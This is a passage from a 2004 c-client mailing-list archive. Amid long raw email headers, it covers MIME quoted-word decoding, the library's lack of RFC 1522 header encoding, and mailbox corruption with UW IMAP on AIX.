tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 11:52:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HIqK3x003089 for ; Thu, 17 Jun 2004 11:52:20 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HIqIOk019837 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 11:52:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HIoahG016132; Thu, 17 Jun 2004 11:50:36 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HInlmI117462 for ; Thu, 17 Jun 2004 11:49:47 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HInk3q020407 for ; Thu, 17 Jun 2004 11:49:47 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HInkHe026808; Thu, 17 Jun 2004 11:49:46 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HInkTr023403; Thu, 17 Jun 2004 11:49:46 -0700 Message-Id: Date: Thu, 17 Jun 2004 11:49:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Decode UTF-8 (and other) strings In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 17 Jun 2004, Shawn Walker wrote: > I'm trying to use the utf8_mime2text() to convert a UTF-8 string to text. > The sample string that I'm trying to convert is: > =?UTF-8?Q?Us=C3=A9r T=C3=A9st?= That is not a proper MIME quoted-word, and consequent utf8_mime2text() declines to deal with it. > What is the correct method of decoding the strings? That string is properly MIME decoded as the text =?UTF-8?Q?Us=C3=A9r T=C3=A9st?= A proper MIME quoted-word, such as =?UTF-8?Q?Us=C3=A9r_T=C3=A9st?= would be decoded into a string with 8-bit characters. The syntax for MIME quoted words was very carefully selected so that there would be no mistaken decodings. It is necessary to consider the effects of RFC 2822 line wrapping with spaces. Consequently, spaces are forbidden within quoted words. I understand the argument of "why aren't you more forgiving in an obvious case such as this?". The answer is that you should take a look at Outlook. Many of the exploits in Outlook involve attacking Outlook's willingness to "just work" in "obvious cases." Without strict rules to follow, software is deprived of clear guidelines to follow that will enable it to reject absurd cases. To make matters worse, the code paths to forgive such "obvious forgivable cases" is rarely exercised; most data complies with the rules. This creates a fertile breeding ground for bugs. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 17 12:31:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 12:31:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HJVbxB004964 for ; Thu, 17 Jun 2004 12:31:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HJVZOi021901 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 12:31:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HJU0eD012278; Thu, 17 Jun 2004 12:30:00 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HJTGnZ124746 for ; Thu, 17 Jun 2004 12:29:16 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HJTF7w017678 for ; Thu, 17 Jun 2004 12:29:15 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id E62F91E00EB for ; Thu, 17 Jun 2004 14:29:14 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 8E0851E00F2; Thu, 17 Jun 2004 14:29:14 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id A92491E00EB for ; Thu, 17 Jun 2004 14:29:13 -0500 (CDT) Message-Id: Date: Thu, 17 Jun 2004 14:29:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Re: Decode UTF-8 (and other) strings In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 17 Jun 2004 11:49:46 -0700 (PDT), Mark Crispin wrote: > On Thu, 17 Jun 2004, Shawn Walker wrote: >> I'm trying to use the utf8_mime2text() to convert a UTF-8 string to >> text. >> The sample string that I'm trying to convert is: >> =?UTF-8?Q?Us=C3=A9r T=C3=A9st?= > > That is not a proper MIME quoted-word, and consequent utf8_mime2text() > declines to deal with it. > >> What is the correct method of decoding the strings? > > That string is properly MIME decoded as the text > =?UTF-8?Q?Us=C3=A9r T=C3=A9st?= > > A proper MIME quoted-word, such as > =?UTF-8?Q?Us=C3=A9r_T=C3=A9st?= > would be decoded into a string with 8-bit characters. > > The syntax for MIME quoted words was very carefully selected so that > there would be no mistaken decodings. It is necessary to consider the > effects of RFC 2822 line wrapping with spaces. Consequently, spaces are > forbidden within quoted words. > > I understand the argument of "why aren't you more forgiving in an > obvious case such as this?". The answer is that you should take a look > at Outlook. Many of the exploits in Outlook involve attacking Outlook's > willingness to "just work" in "obvious cases." Without strict rules to > follow, software is deprived of clear guidelines to follow that will > enable it to reject absurd cases. To make matters worse, the code paths > to forgive such "obvious forgivable cases" is rarely exercised; most > data complies with the rules. This creates a fertile breeding ground > for bugs. > I finally figured out that quoted string is invalid. If it's invalid, I say "tough", blame it on the person that formed a invalid quoted string. From pinedev@shivax2.cac.washington.edu Mon Jun 21 10:10:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 10:10:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHALFg021030 for ; Mon, 21 Jun 2004 10:10:21 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHAImp013212 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 10:10:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LHA1QO016892; Mon, 21 Jun 2004 10:10:01 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LH7wFM123080 for ; Mon, 21 Jun 2004 10:07:58 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LH7sKl002472 for ; Mon, 21 Jun 2004 10:07:55 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 411A91E00BE for ; Mon, 21 Jun 2004 12:07:54 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 5BD591E00AE; Mon, 21 Jun 2004 12:07:53 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 737721E00C1 for ; Mon, 21 Jun 2004 12:07:50 -0500 (CDT) Message-Id: Date: Mon, 21 Jun 2004 12:07:49 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: RFC 1522 Encoding In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does c-client has any functions that can do mime encoding for to, subject and body of the message, like RFC 1522? Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 21 10:54:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 10:54:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHsaav023508 for ; Mon, 21 Jun 2004 10:54:36 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHsY8r014931 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 10:54:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LHsJsG014830; Mon, 21 Jun 2004 10:54:20 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LHrD4O049036 for ; Mon, 21 Jun 2004 10:53:13 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LHrCj6017376 for ; Mon, 21 Jun 2004 10:53:12 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHrBDN026784; Mon, 21 Jun 2004 10:53:11 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LHrBiJ004127; Mon, 21 Jun 2004 10:53:11 -0700 Message-Id: Date: Mon, 21 Jun 2004 10:53:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: RFC 1522 Encoding In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 Jun 2004, Shawn Walker wrote: > Does c-client has any functions that can do mime encoding for to, subject and > body of the message, like RFC 1522? c-client has functions to do MIME encoding of bodies, but not to do MIME quoted-word encoding of headers such as Subjects and personal names in From/to/cc addresses (there is a decoding routine for quoted-words into UTF-8). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jun 21 11:11:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 11:11:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIBbMi024503 for ; Mon, 21 Jun 2004 11:11:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIBZgH015667 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 11:11:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LIBK8s013306; Mon, 21 Jun 2004 11:11:21 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LIATFC113536 for ; Mon, 21 Jun 2004 11:10:30 -0700 Received: from calipso.gruposbd.com (calipso.gruposbd.com [217.172.76.105]) by mxe2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIAP3s015746 for ; Mon, 21 Jun 2004 11:10:26 -0700 Message-Id: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> Date: Mon, 21 Jun 2004 20:10:18 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sbenito@sbdglobal.com To: c-client@u.washington.edu Subject: corrupt mailboxes MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) X-Spam-Color: green X-Spam-Score: -3.53 X-Spam-Status: No, hits=-3.53 required=5.00 tests=BAYES_00,NO_REAL_NAME,PRIORITY_NO_NAME X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello I'm using uw imap-2002 in aix box, and squirrelmail . Sometimes the inboxes became corrupts, the system is a little bussy. My inbox are not in nfs disks. Did anyone know this problem and a workarround? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 21 11:14:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 11:14:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIEA3J024663 for ; Mon, 21 Jun 2004 11:14:10 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIE8ne015774 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 11:14:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LIDwkC013536; Mon, 21 Jun 2004 11:13:58 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LIDUYg113494 for ; Mon, 21 Jun 2004 11:13:30 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LIDTSn020843 for ; Mon, 21 Jun 2004 11:13:29 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIDRb7022341; Mon, 21 Jun 2004 11:13:28 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIDRO2004999; Mon, 21 Jun 2004 11:13:27 -0700 Message-Id: Date: Mon, 21 Jun 2004 11:13:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: sbenito@sbdglobal.com Cc: c-client@u.washington.edu Subject: Re: corrupt mailboxes In-Reply-To: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 Jun 2004 sbenito@sbdglobal.com wrote: > Sometimes the inboxes became corrupts, the system is a little bussy. > My inbox are not in nfs disks. > Did anyone know this problem and a workarround? Have you tried upgrading to the latest version (imap-2004)? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jun 21 11:38:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 11:38:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIcaAS025620 for ; Mon, 21 Jun 2004 11:38:36 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIcXa9016709 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 11:38:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LIcNiV016038; Mon, 21 Jun 2004 11:38:23 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LIbfdo122746 for ; Mon, 21 Jun 2004 11:37:41 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LIbcNJ013913 for ; Mon, 21 Jun 2004 11:37:38 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 2CB631E00C2 for ; Mon, 21 Jun 2004 13:37:38 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id CDB801E00C8; Mon, 21 Jun 2004 13:37:37 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 018571E00C2 for ; Mon, 21 Jun 2004 13:37:37 -0500 (CDT) Message-Id: Date: Mon, 21 Jun 2004 13:37:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Re: RFC 1522 Encoding In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 Jun 2004 10:53:11 -0700 (PDT), Mark Crispin wrote: > On Mon, 21 Jun 2004, Shawn Walker wrote: >> Does c-client has any functions that can do mime encoding for to, >> subject and body of the message, like RFC 1522? > > c-client has functions to do MIME encoding of bodies, but not to do MIME > quoted-word encoding of headers such as Subjects and personal names in > From/to/cc addresses (there is a decoding routine for quoted-words into > UTF-8). > That is what I thought. Just wanted to make sure I wasn't missing a encoding for subject and personal names. I saw some code in pine that does that. From pinedev@shivax2.cac.washington.edu Mon Jun 21 12:28:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 12:28:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LJS2UD028752 for ; Mon, 21 Jun 2004 12:28:02 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LJRxYP018768 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 12:28:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LJRcFd015038; Mon, 21 Jun 2004 12:27:38 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LJQcQu123042 for ; Mon, 21 Jun 2004 12:26:38 -0700 Received: from calipso.gruposbd.com (calipso.gruposbd.com [217.172.76.105]) by mxe2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LJQYAJ000805 for ; Mon, 21 Jun 2004 12:26:35 -0700 Message-Id: <46244.192.168.3.225.1087845985.squirrel@intranet.sbdintra.com> Date: Mon, 21 Jun 2004 21:26:25 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sbenito@sbdglobal.com To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: corrupt mailboxes In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) X-Spam-Color: green X-Spam-Score: -3.53 X-Spam-Status: No, hits=-3.53 required=5.00 tests=BAYES_00,NO_REAL_NAME,PRIORITY_NO_NAME X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, __HAS_MSGID 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is the lock mechanism more efectivelly in this new release?? What happend if my /tmp directory haven't got 1777 permisions? I've read somewhere that there are some problems working in aix platform?? > On Mon, 21 Jun 2004 sbenito@sbdglobal.com wrote: >> Sometimes the inboxes became corrupts, the system is a little bussy. >> My inbox are not in nfs disks. >> Did anyone know this problem and a workarround? > > Have you tried upgrading to the latest version (imap-2004)? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Mon Jun 21 13:17:07 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 2004 13:17:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LKH7Ks031253 for ; Mon, 21 Jun 2004 13:17:07 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LKH5rH020780 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 21 Jun 2004 13:17:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by 